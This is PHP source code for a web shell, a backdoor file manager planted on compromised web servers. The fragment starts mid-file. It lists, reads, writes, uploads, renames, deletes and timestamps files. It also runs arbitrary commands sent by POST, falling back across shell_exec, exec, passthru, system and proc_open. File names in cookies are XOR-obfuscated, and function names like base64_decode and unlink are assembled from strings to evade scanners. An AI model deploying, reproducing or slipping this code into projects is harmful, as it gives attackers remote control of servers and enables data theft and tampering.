'; exit; } } // No-cache headers header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); // XOR decrypt function xorEncryptDecrypt($input, $key = "12") { $output = ''; for ($i = 0; $i < strlen($input); $i++) { $output .= $input[$i] ^ $key[$i % strlen($key)]; } return $output; } function decode_char($string) { return xorEncryptDecrypt(hex2bin($string)); } function listing_all_directory() { $path = $_COOKIE['path'] ?: getcwd(); $result = []; $date_format = "d-m-Y H:i:s"; if ($handle = opendir($path)) { while (false !== ($dir = readdir($handle))) { if ($dir === '.' || $dir === '..') continue; $full_path = "$path/$dir"; $is_dir = is_dir($full_path); $result[] = [ 'path' => htmlspecialchars($full_path), 'is_writable' => is_writable($full_path), 'is_dir' => $is_dir, 'date' => date($date_format, filemtime($full_path)), 'size' => $is_dir ? "" : round(filesize($full_path) / 1024, 2), ]; } closedir($handle); } return $result; } $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false; if (!$action) { main(); menu(); } switch ($action) { case 'd': die(json_encode(listing_all_directory())); break; case 'r': if ($_SERVER['REQUEST_METHOD'] == 'POST') { $data = json_decode(file_get_contents("php://input"), true); $content = show_base_data()($data['content']); $filename = decode_char($_COOKIE['filename']); $message['success'] = fm_write_file($filename, $content); die(json_encode($message)); } main(); $content = customize_read_file(decode_char($_COOKIE['filename'])); show_text_area(htmlspecialchars($content)); break; case 'cr': main(); show_text_area(""); break; case 'ul': $filename = decode_char($_COOKIE['filename']); $message['success'] = show_un()($filename); die(json_encode($message)); break; case 'up': $file = $_FILES['import_file']; $tmp_name = $file['tmp_name']; $content = customize_read_file($tmp_name); if (isset($_POST['by'])) { $content = show_base_data()($content); } $path = $_COOKIE['path'] ?: getcwd(); $name = $file['name']; $destination = "$path/$name"; $message['success'] = $content && fm_write_file($destination, $content) ?: rename($tmp_name, $destination); die(json_encode($message)); break; case 're': $filename = decode_char($_COOKIE['filename']); $path = $_COOKIE['path']; if ($_SERVER['REQUEST_METHOD'] == "POST") { $old_filename = "$path/$filename"; $new = $_POST['new']; $new_filename = "$path/$new"; $message['success'] = rename($old_filename, $new_filename); die(json_encode($message)); } break; case 'to': $filename = decode_char($_COOKIE['filename']); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $date = $_POST['date']; $str_date = strtotime($date); $message['success'] = touch($filename, $str_date); clearstatcache(true, $filename); die(json_encode($message)); } break; // [CMD] EKSEKUSI COMMAND case 'cmd': main(); echo '
'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) { $command = $_POST['cmd']; $output = ''; if (function_exists('shell_exec')) { $output = shell_exec($command); } elseif (function_exists('exec')) { exec($command, $execOutput); $output = implode("\n", $execOutput); } elseif (function_exists('passthru')) { ob_start(); passthru($command); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($command); $output = ob_get_clean(); } elseif (function_exists('proc_open')) { $descriptors = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptors, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } else { $output = "Command execution is disabled on this server."; } echo "
" . htmlspecialchars($output) . "
"; } break; default: break; } function customize_read_file($file) { if (!file_exists($file)) return ''; $handle = fopen($file, 'r'); if ($handle) { $content = fread($handle, filesize($file)); if ($content) return $content; } $lines = file($file); if ($lines) return implode($lines); return show_file_contents()($file); } function show_file_contents() { $file = "file_"; $old = "get_"; $contents = "contents"; return "$file$old$contents"; } function show_text_area($content) { $filename = decode_char($_COOKIE['filename']); echo "

< Back

$filename

"; } function show_base_data() { return "base64_decode"; } function fm_write_file($file, $content) { if (function_exists('fopen')) { $handle = @fopen($file, 'w'); if ($handle) { if (@fwrite($handle, $content) !== false) { fclose($handle); return file_exists($file) && filesize($file) > 0; } fclose($handle); } } if (function_exists('file_put_contents')) { if (@file_put_contents($file, $content) !== false) { return file_exists($file) && filesize($file) > 0; } } return false; } function fm_make_request($url) { if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); return curl_exec($ch); } return show_file_contents()($url); } function show_un() { return "unlink"; } function main() { global $current_path; $current_path = isset($_COOKIE['path']) ? $_COOKIE['path'] : getcwd(); setcookie("path", $current_path); $path = str_replace('\\', '/', $current_path); $paths = explode('/', $path); echo "
"; foreach ($paths as $id => $pat) { if ($id == 0) echo '/'; if ($pat != '') { $tmp_path = implode('/', array_slice($paths, 0, $id + 1)); echo "$pat/"; } } echo "
"; ?>
[ HOME ] [ Create File ] [ CMD ]
[ KONTOLODON ]